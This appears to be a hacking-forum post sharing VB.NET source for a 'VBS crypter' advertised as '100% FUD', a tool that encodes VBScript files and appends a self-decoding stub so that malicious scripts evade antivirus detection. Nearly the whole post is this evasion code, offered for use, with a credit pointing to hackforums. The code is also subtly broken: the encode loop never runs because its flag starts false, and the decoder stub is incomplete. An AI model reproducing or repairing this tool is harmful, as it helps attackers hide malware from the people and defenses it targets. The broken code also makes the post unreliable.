.NET [NEW] [VBS][SOURCE] [ CRYPTER V3] 100% FUD

Code
Private Sub ClearListviewItemToolStripMenuItem_Click(ByVal sender As Object, ByVal e As System.EventArgs)

      ToolStripStatusLabel2.Text = "0"

      ListView1.Items.Clear()

      End Sub



      Private Sub CryptFileToolStripMenuItem_Click(ByVal sender As Object, ByVal e As System.EventArgs)

      Dim color1 As System.Drawing.Color



      Dim s1 As String = System.IO.File.ReadAllText(ListView1.Items(ListView1.FocusedItem.Index).SubItems(2).Text)

      s1 = "'" + Microsoft.VisualBasic.Strings.StrReverse(Stockholm.Form1.encode(System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(s1)))) + ""

      s1 = s1 + Stockholm.My.Resources.Resources.String1

      Dim saveFileDialog1 As System.Windows.Forms.SaveFileDialog = New System.Windows.Forms.SaveFileDialog

      saveFileDialog1.Filter = "vbscript *.vbs|*.vbs"

      saveFileDialog1.ShowDialog()

      Dim flag1 As Boolean = Microsoft.VisualBasic.CompilerServices.Operators.CompareString(saveFileDialog1.FileName, Nothing, False) = 0

      If flag1 Then

      Else 

      System.IO.File.WriteAllText(saveFileDialog1.FileName, s1)

      Microsoft.VisualBasic.Interaction.MsgBox("Done Crypt in : " + saveFileDialog1.FileName, Microsoft.VisualBasic.MsgBoxStyle.Information, "Informations")

      ListView1.Items(ListView1.FocusedItem.Index).ForeColor = System.Drawing.Color.Green

      ListView1.Items(ListView1.FocusedItem.Index).SubItems(3).Text = "Done Crypt"

      End If

      End Sub



      Private Sub DeleteItemToolStripMenuItem_Click(ByVal sender As Object, ByVal e As System.EventArgs)

      Dim color1 As System.Drawing.Color



      Dim openFileDialog1 As System.Windows.Forms.OpenFileDialog = New System.Windows.Forms.OpenFileDialog

      openFileDialog1.Filter = "vbScript *.vbs|*.vbs"

      openFileDialog1.Title = "Select vbscript File.."

      openFileDialog1.ShowDialog()

      Dim flag1 As Boolean = Microsoft.VisualBasic.CompilerServices.Operators.CompareString(openFileDialog1.FileName, Nothing, False) = 0

      If flag1 Then

      Else 

      Dim s1 As String = Microsoft.VisualBasic.CompilerServices.Conversions.ToString(ListView1.Items.Count + 1)

      Dim listViewItem1 As System.Windows.Forms.ListViewItem = ListView1.Items.Add(s1, 0)

      listViewItem1.SubItems.Add(System.IO.Path.GetFileName(openFileDialog1.FileName))

      listViewItem1.SubItems.Add(openFileDialog1.FileName)

      listViewItem1.SubItems.Add("NULL")

      listViewItem1.ForeColor = System.Drawing.Color.Blue

      ToolStripStatusLabel2.Text = Microsoft.VisualBasic.CompilerServices.Conversions.ToString(Microsoft.VisualBasic.CompilerServices.Conversions.ToDouble(ToolStripStatusLabel2.Text) + 1.0R)

      End If

      End Sub



      Private Sub DeleteItemToolStripMenuItem1_Click(ByVal sender As Object, ByVal e As System.EventArgs)

      Dim flag1 As Boolean = ListView1.Items.Count = 0

      If flag1 Then

      Else 

      ListView1.Items(ListView1.FocusedItem.Index).Remove()

      ToolStripStatusLabel2.Text = Microsoft.VisualBasic.CompilerServices.Conversions.ToString(Microsoft.VisualBasic.CompilerServices.Conversions.ToDouble(ToolStripStatusLabel2.Text) - 1.0R)

      End If

      End Sub



  Private Sub ToolStripStatusLabel4_Click(ByVal sender As Object, ByVal e As System.EventArgs)

      Dim s1 As String = Text + "Coder:      SwedHack.Skype : xxxxxx()to Site : https://hackforums.net/"

      Microsoft.VisualBasic.Interaction.MsgBox(s1, Microsoft.VisualBasic.MsgBoxStyle.ApplicationModal, Nothing)

      End Sub



 Public Shared Function encode(ByVal strings As String) As String

      Dim flag1 As Boolean



      Dim bArr1 As Byte() = System.Convert.FromBase64String(strings)

      Dim stringBuilder1 As System.Text.StringBuilder = New System.Text.StringBuilder

      Dim bArr2 As Byte() = bArr1

      Dim i1 As Integer = 0

      While flag1

      Dim b1 As Byte = bArr2(i1)

      stringBuilder1.Append(b1.ToString("X2"))

      i1 = i1 + 1

      flag1 = i1 < CInt(bArr2.Length)

      End While

      Return stringBuilder1.ToString()

      End Function



    End Class 



String1



function ss(a)

ss = replace(Split(CreateObject("Scripting.FileSystemObject").OpenTextFile(wscript.scriptfullname).ReadAll, vbCrLf)(a),"'","")

end function



Function decode(str)

For i = 1 To Len(str) Step 2

ub = ub & Chr(Clng("&H" & Mid(str, i, 2)))

Next

decode = ub

End Function